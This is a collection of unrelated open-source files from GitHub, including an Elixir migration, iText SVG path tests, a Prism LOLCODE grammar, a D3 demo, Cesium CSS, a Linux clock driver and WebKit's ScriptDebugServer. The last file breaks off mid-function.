module.exports = func;
| {
"pile_set_name": "Github"
} |
defmodule Mobilizon.Storage.Repo.Migrations.AddConversations do
use Ecto.Migration
def change do
create table(:conversations) do
add(:title, :string)
add(:slug, :string)
add(:actor_id, references(:actors, on_delete: :delete_all), null: false)
add(:creator_id, references(:actors, on_delete: :nilify_all))
add(:last_comment_id, references(:comments, on_delete: :delete_all))
timestamps()
end
alter table(:comments) do
add(:conversation_id, references(:conversations, on_delete: :delete_all))
end
end
end
| {
"pile_set_name": "Github"
} |
/*
This file is part of the iText (R) project.
Copyright (c) 1998-2020 iText Group NV
Authors: iText Software.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License version 3
as published by the Free Software Foundation with the addition of the
following permission added to Section 15 as permitted in Section 7(a):
FOR ANY PART OF THE COVERED WORK IN WHICH THE COPYRIGHT IS OWNED BY
ITEXT GROUP. ITEXT GROUP DISCLAIMS THE WARRANTY OF NON INFRINGEMENT
OF THIRD PARTY RIGHTS
This program is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
or FITNESS FOR A PARTICULAR PURPOSE.
See the GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program; if not, see http://www.gnu.org/licenses or write to
the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
Boston, MA, 02110-1301 USA, or download the license from the following URL:
http://itextpdf.com/terms-of-use/
The interactive user interfaces in modified source and object code versions
of this program must display Appropriate Legal Notices, as required under
Section 5 of the GNU Affero General Public License.
In accordance with Section 7(b) of the GNU Affero General Public License,
a covered work must retain the producer line in every PDF that is created
or manipulated using iText.
You can be released from the requirements of the license by purchasing
a commercial license. Buying such a license is mandatory as soon as you
develop commercial activities involving the iText software without
disclosing the source code of your own applications.
These activities include: offering paid services to customers as an ASP,
serving PDFs on the fly in a web application, shipping iText with a closed
source product.
For more information, please contact iText Software Corp. at this
address: [email protected]
*/
package com.itextpdf.svg.renderers.impl;
import com.itextpdf.kernel.geom.Point;
import com.itextpdf.svg.SvgConstants;
import com.itextpdf.svg.exceptions.SvgExceptionMessageConstant;
import com.itextpdf.svg.exceptions.SvgProcessingException;
import com.itextpdf.svg.renderers.SvgIntegrationTest;
import com.itextpdf.svg.renderers.path.IPathShape;
import com.itextpdf.svg.renderers.path.impl.ClosePath;
import com.itextpdf.svg.renderers.path.impl.EllipticalCurveTo;
import com.itextpdf.svg.renderers.path.impl.MoveTo;
import com.itextpdf.svg.renderers.path.impl.SmoothSCurveTo;
import com.itextpdf.test.annotations.type.IntegrationTest;
import org.junit.Assert;
import org.junit.Rule;
import org.junit.Test;
import org.junit.experimental.categories.Category;
import org.junit.rules.ExpectedException;
import java.util.List;
@Category(IntegrationTest.class)
public class PathSvgNodeRendererLowLevelIntegrationTest extends SvgIntegrationTest {
@Rule
public ExpectedException junitExpectedException = ExpectedException.none();
@Test
public void testRelativeArcOperatorShapes() {
PathSvgNodeRenderer path = new PathSvgNodeRenderer();
String instructions = "M 200,300 a 10 10 0 0 0 10 10";
path.setAttribute(SvgConstants.Attributes.D, instructions);
List<IPathShape> segments = (List<IPathShape>) path.getShapes();
Assert.assertEquals(2, segments.size());
Assert.assertTrue(segments.get(0) instanceof MoveTo);
Assert.assertTrue(segments.get(1) instanceof EllipticalCurveTo);
}
@Test
public void testRelativeArcOperatorCoordinates() {
PathSvgNodeRenderer path = new PathSvgNodeRenderer();
String instructions = "M 200,300 a 10 10 0 0 0 10 10";
path.setAttribute(SvgConstants.Attributes.D, instructions);
IPathShape arc = ((List<IPathShape>) path.getShapes()).get(1);
Point end = arc.getEndingPoint();
Assert.assertEquals(new Point(210, 310), end);
}
@Test
public void testMultipleRelativeArcOperatorCoordinates() {
PathSvgNodeRenderer path = new PathSvgNodeRenderer();
String instructions = "M 200,300 a 10 10 0 0 0 10 10 a 10 10 0 0 0 10 10";
path.setAttribute(SvgConstants.Attributes.D, instructions);
IPathShape arc = ((List<IPathShape>) path.getShapes()).get(2);
Point end = arc.getEndingPoint();
Assert.assertEquals(new Point(220, 320), end);
}
@Test
public void testAbsoluteArcOperatorCoordinates() {
PathSvgNodeRenderer path = new PathSvgNodeRenderer();
String instructions = "M 200,300 A 10 10 0 0 0 210 310";
path.setAttribute(SvgConstants.Attributes.D, instructions);
IPathShape arc = ((List<IPathShape>) path.getShapes()).get(1);
Point end = arc.getEndingPoint();
Assert.assertEquals(new Point(210, 310), end);
}
@Test
public void testMultipleAbsoluteArcOperatorCoordinates() {
PathSvgNodeRenderer path = new PathSvgNodeRenderer();
String instructions = "M 200,300 A 10 10 0 0 0 210 310 A 10 10 0 0 0 220 320";
path.setAttribute(SvgConstants.Attributes.D, instructions);
IPathShape arc = ((List<IPathShape>) path.getShapes()).get(2);
Point end = arc.getEndingPoint();
Assert.assertEquals(new Point(220, 320), end);
}
// tests resulting in empty path
@Test
public void testEmptyPath() {
PathSvgNodeRenderer path = new PathSvgNodeRenderer();
String instructions = "";
path.setAttribute(SvgConstants.Attributes.D, instructions);
Assert.assertTrue(path.getShapes().isEmpty());
}
@Test
public void testNonsensePathNoOperators() {
PathSvgNodeRenderer path = new PathSvgNodeRenderer();
String instructions = "200";
path.setAttribute(SvgConstants.Attributes.D, instructions);
Assert.assertTrue(path.getShapes().isEmpty());
}
@Test
public void testNonsensePathNotExistingOperator() {
junitExpectedException.expect(SvgProcessingException.class);
PathSvgNodeRenderer path = new PathSvgNodeRenderer();
String instructions = "F";
path.setAttribute(SvgConstants.Attributes.D, instructions);
Assert.assertTrue(path.getShapes().isEmpty());
}
@Test
public void testClosePathNoPrecedingPathsOperator() {
junitExpectedException.expect(SvgProcessingException.class);
PathSvgNodeRenderer path = new PathSvgNodeRenderer();
String instructions = "z";
path.setAttribute(SvgConstants.Attributes.D, instructions);
Assert.assertTrue(path.getShapes().isEmpty());
}
@Test
public void testMoveNoArgsOperator() {
PathSvgNodeRenderer path = new PathSvgNodeRenderer();
String instructions = "M";
path.setAttribute(SvgConstants.Attributes.D, instructions);
Assert.assertTrue(path.getShapes().isEmpty());
}
@Test
public void testMoveOddArgsOperator() {
PathSvgNodeRenderer path = new PathSvgNodeRenderer();
String instructions = "M 500";
path.setAttribute(SvgConstants.Attributes.D, instructions);
Assert.assertTrue(path.getShapes().isEmpty());
}
@Test
public void testAddMultipleArgsOperator() {
PathSvgNodeRenderer path = new PathSvgNodeRenderer();
String instructions = "M 500 500 200 200 300 300";
path.setAttribute(SvgConstants.Attributes.D, instructions);
Assert.assertEquals(3, path.getShapes().size());
}
@Test
public void testAddMultipleOddArgsOperator() {
PathSvgNodeRenderer path = new PathSvgNodeRenderer();
String instructions = "L 500 500 200 200 300";
path.setAttribute(SvgConstants.Attributes.D, instructions);
Assert.assertEquals(2, path.getShapes().size());
}
@Test
public void testAddMultipleOddArgsOperatorThenOtherStuff() {
PathSvgNodeRenderer path = new PathSvgNodeRenderer();
String instructions = "M 500 500 200 200 300 z";
path.setAttribute(SvgConstants.Attributes.D, instructions);
Assert.assertEquals(3, path.getShapes().size());
Assert.assertTrue(((List<IPathShape>) path.getShapes()).get(2) instanceof ClosePath);
}
@Test
public void testAddDoubleArgsOperator() {
PathSvgNodeRenderer path = new PathSvgNodeRenderer();
String instructions = "M 500 500 S 200 100 100 200 300 300 400 400";
path.setAttribute(SvgConstants.Attributes.D, instructions);
Assert.assertEquals(3, path.getShapes().size());
Assert.assertTrue(((List<IPathShape>) path.getShapes()).get(2) instanceof SmoothSCurveTo);
}
@Test
public void smoothCurveAsFirstShapeTest1() {
junitExpectedException.expect(SvgProcessingException.class);
junitExpectedException.expectMessage(SvgExceptionMessageConstant.INVALID_SMOOTH_CURVE_USE);
String instructions = "S 100 200 300 400";
PathSvgNodeRenderer path = new PathSvgNodeRenderer();
path.setAttribute(SvgConstants.Attributes.D, instructions);
path.getShapes();
}
@Test
public void smoothCurveAsFirstShapeTest2() {
junitExpectedException.expect(SvgProcessingException.class);
junitExpectedException.expectMessage(SvgExceptionMessageConstant.INVALID_SMOOTH_CURVE_USE);
String instructions = "T 100,200";
PathSvgNodeRenderer path = new PathSvgNodeRenderer();
path.setAttribute(SvgConstants.Attributes.D, instructions);
path.getShapes();
}
}
| {
"pile_set_name": "Github"
} |
{
global: retro_*;
local: *;
};
| {
"pile_set_name": "Github"
} |
Prism.languages.lolcode = {
'comment': [
/\bOBTW\s+[\s\S]*?\s+TLDR\b/,
/\bBTW.+/
],
'string': {
pattern: /"(?::.|[^"])*"/,
inside: {
'variable': /:\{[^}]+\}/,
'symbol': [
/:\([a-f\d]+\)/i,
/:\[[^\]]+\]/,
/:[)>o":]/
]
}
},
'number': /(-|\b)\d*\.?\d+/,
'symbol': {
pattern: /(^|\s)(?:A )?(?:YARN|NUMBR|NUMBAR|TROOF|BUKKIT|NOOB)(?=\s|,|$)/,
lookbehind: true,
inside: {
'keyword': /A(?=\s)/
}
},
'label': {
pattern: /((?:^|\s)(?:IM IN YR|IM OUTTA YR) )[a-zA-Z]\w*/,
lookbehind: true,
alias: 'string'
},
'function': {
pattern: /((?:^|\s)(?:I IZ|HOW IZ I|IZ) )[a-zA-Z]\w*/,
lookbehind: true
},
'keyword': [
{
pattern: /(^|\s)(?:O HAI IM|KTHX|HAI|KTHXBYE|I HAS A|ITZ(?: A)?|R|AN|MKAY|SMOOSH|MAEK|IS NOW(?: A)?|VISIBLE|GIMMEH|O RLY\?|YA RLY|NO WAI|OIC|MEBBE|WTF\?|OMG|OMGWTF|GTFO|IM IN YR|IM OUTTA YR|FOUND YR|YR|TIL|WILE|UPPIN|NERFIN|I IZ|HOW IZ I|IF U SAY SO|SRS|HAS A|LIEK(?: A)?|IZ)(?=\s|,|$)/,
lookbehind: true
},
/'Z(?=\s|,|$)/
],
'boolean': {
pattern: /(^|\s)(?:WIN|FAIL)(?=\s|,|$)/,
lookbehind: true
},
'variable': {
pattern: /(^|\s)(?:IT)(?=\s|,|$)/,
lookbehind: true
},
'operator': {
pattern: /(^|\s)(?:NOT|BOTH SAEM|DIFFRINT|(?:SUM|DIFF|PRODUKT|QUOSHUNT|MOD|BIGGR|SMALLR|BOTH|EITHER|WON|ALL|ANY) OF)(?=\s|,|$)/,
lookbehind: true
},
'punctuation': /\.{3}|\u2026|,|!/
}; | {
"pile_set_name": "Github"
} |
-# Copyright (c) 2012-2017, Pfadibewegung Schweiz. This file is part of
-# hitobito_pbs and licensed under the Affero General Public License version 3
-# or later. See the COPYING file at the top-level directory or at
-# https://github.com/hitobito/hitobito_pbs.
= f.labeled_text_area(:address, rows: 2) if entry.show_attr?(:address)
= f.labeled_input_field(:zip_code, class: 'span2') if entry.show_attr?(:zip_code)
= f.labeled_input_field(:town, class: 'span4') if entry.show_attr?(:town)
- if entry.show_attr?(:country)
= f.labeled(:country) do
.span6{style: 'margin-left: 0px'}
= country_select(f.object.class.model_name.param_key,
'country',
{ priority_countries: Settings.countries.prioritized,
include_blank: true },
{ class: 'chosen-select',
data: { placeholder: ' ',
chosen_no_results: t('global.chosen_no_results') } })
= entry.required_attr?(:country) ? content_tag(:span, class: 'required') { '*' } : ''
| {
"pile_set_name": "Github"
} |
/*
* Copyright 2017 Crown Copyright
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package stroom.task.api;
import stroom.task.shared.ThreadPool;
import javax.inject.Provider;
import java.util.concurrent.Executor;
public interface ExecutorProvider extends Provider<Executor> {
Executor get(ThreadPool threadPool);
}
| {
"pile_set_name": "Github"
} |
<?php
// autoload_psr4.php @generated by Composer
$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname($vendorDir);
return array(
'Inc\\' => array($baseDir . '/inc'),
);
| {
"pile_set_name": "Github"
} |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>D3: Transitioning points to randomized values</title>
<script type="text/javascript" src="../d3.js"></script>
<style type="text/css">
/* No style rules here yet */
</style>
</head>
<body>
<p>Click on this text to update the chart with new data values as many times as you like!</p>
<script type="text/javascript">
//Width and height
var w = 500;
var h = 300;
var padding = 30;
//Dynamic, random dataset
var dataset = []; //Initialize empty array
var numDataPoints = 50; //Number of dummy data points to create
var maxRange = Math.random() * 1000; //Max range of new values
for (var i = 0; i < numDataPoints; i++) { //Loop numDataPoints times
var newNumber1 = Math.floor(Math.random() * maxRange); //New random integer
var newNumber2 = Math.floor(Math.random() * maxRange); //New random integer
dataset.push([newNumber1, newNumber2]); //Add new number to array
}
//Create scale functions
var xScale = d3.scaleLinear()
.domain([0, d3.max(dataset, function(d) { return d[0]; })])
.range([padding, w - padding * 2]);
var yScale = d3.scaleLinear()
.domain([0, d3.max(dataset, function(d) { return d[1]; })])
.range([h - padding, padding]);
//Define X axis
var xAxis = d3.axisBottom()
.scale(xScale)
.ticks(5);
//Define Y axis
var yAxis = d3.axisLeft()
.scale(yScale)
.ticks(5);
//Create SVG element
var svg = d3.select("body")
.append("svg")
.attr("width", w)
.attr("height", h);
//Create circles
svg.selectAll("circle")
.data(dataset)
.enter()
.append("circle")
.attr("cx", function(d) {
return xScale(d[0]);
})
.attr("cy", function(d) {
return yScale(d[1]);
})
.attr("r", 2);
//Create X axis
svg.append("g")
.attr("class", "axis")
.attr("transform", "translate(0," + (h - padding) + ")")
.call(xAxis);
//Create Y axis
svg.append("g")
.attr("class", "axis")
.attr("transform", "translate(" + padding + ",0)")
.call(yAxis);
//On click, update with new data
d3.select("p")
.on("click", function() {
//New values for dataset
var numValues = dataset.length; //Count original length of dataset
var maxRange = Math.random() * 1000; //Max range of new values
dataset = []; //Initialize empty array
for (var i = 0; i < numValues; i++) { //Loop numValues times
var newNumber1 = Math.floor(Math.random() * maxRange); //New random integer
var newNumber2 = Math.floor(Math.random() * maxRange); //New random integer
dataset.push([newNumber1, newNumber2]); //Add new number to array
}
//Update scale domains
xScale.domain([0, d3.max(dataset, function(d) { return d[0]; })]);
yScale.domain([0, d3.max(dataset, function(d) { return d[1]; })]);
//Update all circles
svg.selectAll("circle")
.data(dataset)
.transition()
.duration(1000)
.attr("cx", function(d) {
return xScale(d[0]);
})
.attr("cy", function(d) {
return yScale(d[1]);
});
});
</script>
</body>
</html> | {
"pile_set_name": "Github"
} |
@import url(../shared.css);
body {
margin: 0;
padding: 0;
}
.cesium-infoBox-description {
font-family: sans-serif;
font-size: 13px;
padding: 4px 10px;
margin-right: 4px;
color: #edffff;
}
.cesium-infoBox-description a:link,
.cesium-infoBox-description a:visited,
.cesium-infoBox-description a:hover,
.cesium-infoBox-description a:active {
color: #edffff;
}
.cesium-infoBox-description table {
color: #edffff;
}
.cesium-infoBox-defaultTable {
width: 100%;
color: #edffff;
}
.cesium-infoBox-defaultTable tr:nth-child(odd) {
background-color: rgba(84, 84, 84, 0.8);
}
.cesium-infoBox-defaultTable tr:nth-child(even) {
background-color: rgba(84, 84, 84, 0.25);
}
.cesium-infoBox-defaultTable th {
font-weight: normal;
padding: 3px;
vertical-align: middle;
text-align: center;
}
.cesium-infoBox-defaultTable td {
padding: 3px;
vertical-align: middle;
text-align: left;
}
.cesium-infoBox-description-lighter {
color: #000000;
}
.cesium-infoBox-description-lighter a:link,
.cesium-infoBox-description-lighter a:visited,
.cesium-infoBox-description-lighter a:hover,
.cesium-infoBox-description-lighter a:active {
color: #000000;
}
.cesium-infoBox-description-lighter table {
color: #000000;
}
.cesium-infoBox-defaultTable-lighter {
width: 100%;
color: #000000;
}
.cesium-infoBox-defaultTable-lighter tr:nth-child(odd) {
background-color: rgba(179, 179, 179, 0.8);
}
.cesium-infoBox-defaultTable-lighter tr:nth-child(even) {
background-color: rgba(179, 179, 179, 0.25);
}
.cesium-infoBox-loadingContainer {
margin: 5px;
text-align: center;
}
.cesium-infoBox-loading {
display: inline-block;
background-image: url(../Images/info-loading.gif);
width: 16px;
height: 11px;
}
| {
"pile_set_name": "Github"
} |
/*
* Copyright 2018, Haiku, Inc. All rights reserved.
* Distributed under the terms of the MIT license.
*/
#ifndef _FBSD_COMPAT_MACHINE_SMP_H_
#define _FBSD_COMPAT_MACHINE_SMP_H_
#include <sys/smp.h>
#endif /* _FBSD_COMPAT_MACHINE_SMP_H_ */
| {
"pile_set_name": "Github"
} |
0.7.1 / 2015-04-20
==================
* prevent extraordinary long inputs (@evilpacket)
* Fixed broken readme link
0.7.0 / 2014-11-24
==================
* add time abbreviations, updated tests and readme for the new units
* fix example in the readme.
* add LICENSE file
0.6.2 / 2013-12-05
==================
* Adding repository section to package.json to suppress warning from NPM.
0.6.1 / 2013-05-10
==================
* fix singularization [visionmedia]
0.6.0 / 2013-03-15
==================
* fix minutes
0.5.1 / 2013-02-24
==================
* add component namespace
0.5.0 / 2012-11-09
==================
* add short formatting as default and .long option
* add .license property to component.json
* add version to component.json
0.4.0 / 2012-10-22
==================
* add rounding to fix crazy decimals
0.3.0 / 2012-09-07
==================
* fix `ms(<String>)` [visionmedia]
0.2.0 / 2012-09-03
==================
* add component.json [visionmedia]
* add days support [visionmedia]
* add hours support [visionmedia]
* add minutes support [visionmedia]
* add seconds support [visionmedia]
* add ms string support [visionmedia]
* refactor tests to facilitate ms(number) [visionmedia]
0.1.0 / 2012-03-07
==================
* Initial release
| {
"pile_set_name": "Github"
} |
sha256:61a90f96abbafffce04b1224c4e45898d61e5eda81c8898aa3fa78ef998978c8
| {
"pile_set_name": "Github"
} |
// stellar.scl
// stellar scale in 1/4 kleismic marvel tempering
//
@60
:intervals
261.6255653006
279.68949403101
285.8344830893
293.67396865289
299.00064605783
305.56991559227
313.95067836072
326.66798057332
343.00137970705
349.22276077151
366.6838987106
373.3348350421
392.00157668785
407.88051201816
419.06731292568
428.27453775026
436.04260883433
448.00180205038
457.84473927605
489.45661442163
523.2511306012
| {
"pile_set_name": "Github"
} |
SHORT_NAME=tcp_echo
include ../makeapp
| {
"pile_set_name": "Github"
} |
<div class="form-group">
<label><?php echo erTranslationClassLhTranslation::getInstance()->getTranslation('department/edit','Exception groups to apply');?></label>
<div class="row">
<?php
echo erLhcoreClassRenderHelper::renderCheckbox(array(
'list_function' => 'erLhcoreClassModelGenericBotException::getList',
'selected_id' => (isset($item->configuration_array['exc_group_id']) ? $item->configuration_array['exc_group_id'] : array()),
'input_name' => 'exc_group_id[]',
'wrap_prepend' => '<div class="col-4">',
'wrap_append' => '</div>'
));
?>
</div>
</div> | {
"pile_set_name": "Github"
} |
#extension GL_OES_EGL_image_external : require
precision mediump float;
varying vec2 textureCoordinate;
uniform sampler2D inputTexture;
uniform float scale;
void main() {
vec2 uv = textureCoordinate.xy;
// 将纹理坐标中心转成(0.0, 0.0)再做缩放
vec2 center = vec2(0.5, 0.5);
uv -= center; uv = uv / scale;
uv += center;
gl_FragColor = texture2D(inputTexture, uv);
}
| {
"pile_set_name": "Github"
} |
/*
* Copyright (C) 2012 ST Microelectronics
* Viresh Kumar <[email protected]>
*
* This file is licensed under the terms of the GNU General Public
* License version 2. This program is licensed "as is" without any
* warranty of any kind, whether express or implied.
*
* General Purpose Timer Synthesizer clock implementation
*/
#define pr_fmt(fmt) "clk-gpt-synth: " fmt
#include <linux/clk-provider.h>
#include <linux/slab.h>
#include <linux/io.h>
#include <linux/err.h>
#include "clk.h"
#define GPT_MSCALE_MASK 0xFFF
#define GPT_NSCALE_SHIFT 12
#define GPT_NSCALE_MASK 0xF
/*
* DOC: General Purpose Timer Synthesizer clock
*
* Calculates gpt synth clk rate for different values of mscale and nscale
*
* Fout= Fin/((2 ^ (N+1)) * (M+1))
*/
#define to_clk_gpt(_hw) container_of(_hw, struct clk_gpt, hw)
static unsigned long gpt_calc_rate(struct clk_hw *hw, unsigned long prate,
int index)
{
struct clk_gpt *gpt = to_clk_gpt(hw);
struct gpt_rate_tbl *rtbl = gpt->rtbl;
prate /= ((1 << (rtbl[index].nscale + 1)) * (rtbl[index].mscale + 1));
return prate;
}
static long clk_gpt_round_rate(struct clk_hw *hw, unsigned long drate,
unsigned long *prate)
{
struct clk_gpt *gpt = to_clk_gpt(hw);
int unused;
return clk_round_rate_index(hw, drate, *prate, gpt_calc_rate,
gpt->rtbl_cnt, &unused);
}
static unsigned long clk_gpt_recalc_rate(struct clk_hw *hw,
unsigned long parent_rate)
{
struct clk_gpt *gpt = to_clk_gpt(hw);
unsigned long flags = 0;
unsigned int div = 1, val;
if (gpt->lock)
spin_lock_irqsave(gpt->lock, flags);
val = readl_relaxed(gpt->reg);
if (gpt->lock)
spin_unlock_irqrestore(gpt->lock, flags);
div += val & GPT_MSCALE_MASK;
div *= 1 << (((val >> GPT_NSCALE_SHIFT) & GPT_NSCALE_MASK) + 1);
if (!div)
return 0;
return parent_rate / div;
}
/* Configures new clock rate of gpt */
static int clk_gpt_set_rate(struct clk_hw *hw, unsigned long drate,
unsigned long prate)
{
struct clk_gpt *gpt = to_clk_gpt(hw);
struct gpt_rate_tbl *rtbl = gpt->rtbl;
unsigned long flags = 0, val;
int i;
clk_round_rate_index(hw, drate, prate, gpt_calc_rate, gpt->rtbl_cnt,
&i);
if (gpt->lock)
spin_lock_irqsave(gpt->lock, flags);
val = readl(gpt->reg) & ~GPT_MSCALE_MASK;
val &= ~(GPT_NSCALE_MASK << GPT_NSCALE_SHIFT);
val |= rtbl[i].mscale & GPT_MSCALE_MASK;
val |= (rtbl[i].nscale & GPT_NSCALE_MASK) << GPT_NSCALE_SHIFT;
writel_relaxed(val, gpt->reg);
if (gpt->lock)
spin_unlock_irqrestore(gpt->lock, flags);
return 0;
}
static const struct clk_ops clk_gpt_ops = {
.recalc_rate = clk_gpt_recalc_rate,
.round_rate = clk_gpt_round_rate,
.set_rate = clk_gpt_set_rate,
};
struct clk *clk_register_gpt(const char *name, const char *parent_name, unsigned
long flags, void __iomem *reg, struct gpt_rate_tbl *rtbl, u8
rtbl_cnt, spinlock_t *lock)
{
struct clk_init_data init;
struct clk_gpt *gpt;
struct clk *clk;
if (!name || !parent_name || !reg || !rtbl || !rtbl_cnt) {
pr_err("Invalid arguments passed\n");
return ERR_PTR(-EINVAL);
}
gpt = kzalloc(sizeof(*gpt), GFP_KERNEL);
if (!gpt)
return ERR_PTR(-ENOMEM);
/* struct clk_gpt assignments */
gpt->reg = reg;
gpt->rtbl = rtbl;
gpt->rtbl_cnt = rtbl_cnt;
gpt->lock = lock;
gpt->hw.init = &init;
init.name = name;
init.ops = &clk_gpt_ops;
init.flags = flags;
init.parent_names = &parent_name;
init.num_parents = 1;
clk = clk_register(NULL, &gpt->hw);
if (!IS_ERR_OR_NULL(clk))
return clk;
pr_err("clk register failed\n");
kfree(gpt);
return NULL;
}
| {
"pile_set_name": "Github"
} |
//===----------------------------------------------------------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is dual licensed under the MIT and the University of Illinois Open
// Source Licenses. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
// <random>
// template<class RealType = double>
// class gamma_distribution
// explicit gamma_distribution(const param_type& parm);
#include <random>
#include <cassert>
int main()
{
{
typedef std::gamma_distribution<> D;
typedef D::param_type P;
P p(0.25, 10);
D d(p);
assert(d.alpha() == 0.25);
assert(d.beta() == 10);
}
}
| {
"pile_set_name": "Github"
} |
/*
* Copyright (C) 2008, 2009 Apple Inc. All rights reserved.
* Copyright (C) 2010-2011 Google Inc. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. Neither the name of Apple Computer, Inc. ("Apple") nor the names of
* its contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY APPLE AND ITS CONTRIBUTORS "AS IS" AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL APPLE OR ITS CONTRIBUTORS BE LIABLE FOR ANY
* DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include "config.h"
#include "ScriptDebugServer.h"
#if ENABLE(JAVASCRIPT_DEBUGGER)
#include "EventLoop.h"
#include "Frame.h"
#include "JSJavaScriptCallFrame.h"
#include "JavaScriptCallFrame.h"
#include "ScriptBreakpoint.h"
#include "ScriptDebugListener.h"
#include "ScriptValue.h"
#include <debugger/DebuggerCallFrame.h>
#include <parser/SourceProvider.h>
#include <runtime/JSLock.h>
#include <wtf/MainThread.h>
#include <wtf/text/StringConcatenate.h>
using namespace JSC;
namespace WebCore {
ScriptDebugServer::ScriptDebugServer()
: m_callingListeners(false)
, m_pauseOnExceptionsState(DontPauseOnExceptions)
, m_pauseOnNextStatement(false)
, m_paused(false)
, m_doneProcessingDebuggerEvents(true)
, m_breakpointsActivated(true)
, m_pauseOnCallFrame(0)
, m_recompileTimer(this, &ScriptDebugServer::recompileAllJSFunctions)
{
}
ScriptDebugServer::~ScriptDebugServer()
{
deleteAllValues(m_pageListenersMap);
}
String ScriptDebugServer::setBreakpoint(const String& sourceID, const ScriptBreakpoint& scriptBreakpoint, int* actualLineNumber, int* actualColumnNumber)
{
intptr_t sourceIDValue = sourceID.toIntPtr();
if (!sourceIDValue)
return "";
SourceIdToBreakpointsMap::iterator it = m_sourceIdToBreakpoints.find(sourceIDValue);
if (it == m_sourceIdToBreakpoints.end())
it = m_sourceIdToBreakpoints.set(sourceIDValue, LineToBreakpointMap()).first;
if (it->second.contains(scriptBreakpoint.lineNumber + 1))
return "";
it->second.set(scriptBreakpoint.lineNumber + 1, scriptBreakpoint);
*actualLineNumber = scriptBreakpoint.lineNumber;
// FIXME(WK53003): implement setting breakpoints by line:column.
*actualColumnNumber = 0;
return makeString(sourceID, ":", String::number(scriptBreakpoint.lineNumber));
}
void ScriptDebugServer::removeBreakpoint(const String& breakpointId)
{
Vector<String> tokens;
breakpointId.split(":", tokens);
if (tokens.size() != 2)
return;
bool success;
intptr_t sourceIDValue = tokens[0].toIntPtr(&success);
if (!success)
return;
unsigned lineNumber = tokens[1].toUInt(&success);
if (!success)
return;
SourceIdToBreakpointsMap::iterator it = m_sourceIdToBreakpoints.find(sourceIDValue);
if (it != m_sourceIdToBreakpoints.end())
it->second.remove(lineNumber + 1);
}
bool ScriptDebugServer::hasBreakpoint(intptr_t sourceID, const TextPosition0& position) const
{
if (!m_breakpointsActivated)
return false;
SourceIdToBreakpointsMap::const_iterator it = m_sourceIdToBreakpoints.find(sourceID);
if (it == m_sourceIdToBreakpoints.end())
return false;
int lineNumber = position.m_line.convertAsOneBasedInt();
if (lineNumber <= 0)
return false;
LineToBreakpointMap::const_iterator breakIt = it->second.find(lineNumber);
if (breakIt == it->second.end())
return false;
// An empty condition counts as no condition which is equivalent to "true".
if (breakIt->second.condition.isEmpty())
return true;
JSValue exception;
JSValue result = m_currentCallFrame->evaluate(stringToUString(breakIt->second.condition), exception);
if (exception) {
// An erroneous condition counts as "false".
return false;
}
return result.toBoolean(m_currentCallFrame->scopeChain()->globalObject->globalExec());
}
void ScriptDebugServer::clearBreakpoints()
{
m_sourceIdToBreakpoints.clear();
}
void ScriptDebugServer::setBreakpointsActivated(bool activated)
{
m_breakpointsActivated = activated;
}
void ScriptDebugServer::setPauseOnExceptionsState(PauseOnExceptionsState pause)
{
m_pauseOnExceptionsState = pause;
}
void ScriptDebugServer::setPauseOnNextStatement(bool pause)
{
m_pauseOnNextStatement = pause;
}
void ScriptDebugServer::breakProgram()
{
// FIXME(WK43332): implement this.
}
void ScriptDebugServer::continueProgram()
{
if (!m_paused)
return;
m_pauseOnNextStatement = false;
m_doneProcessingDebuggerEvents = true;
}
void ScriptDebugServer::stepIntoStatement()
{
if (!m_paused)
return;
m_pauseOnNextStatement = true;
m_doneProcessingDebuggerEvents = true;
}
void ScriptDebugServer::stepOverStatement()
{
if (!m_paused)
return;
m_pauseOnCallFrame = m_currentCallFrame.get();
m_doneProcessingDebuggerEvents = true;
}
void ScriptDebugServer::stepOutOfFunction()
{
if (!m_paused)
return;
m_pauseOnCallFrame = m_currentCallFrame ? m_currentCallFrame->caller() : 0;
m_doneProcessingDebuggerEvents = true;
}
bool ScriptDebugServer::editScriptSource(const String&, const String&, String*, ScriptValue*)
{
// FIXME(40300): implement this.
return false;
}
void ScriptDebugServer::dispatchDidPause(ScriptDebugListener* listener)
{
ASSERT(m_paused);
JSGlobalObject* globalObject = m_currentCallFrame->scopeChain()->globalObject.get();
ScriptState* state = globalObject->globalExec();
JSValue jsCallFrame;
{
if (m_currentCallFrame->isValid() && globalObject->inherits(&JSDOMGlobalObject::s_info)) {
JSDOMGlobalObject* domGlobalObject = static_cast<JSDOMGlobalObject*>(globalObject);
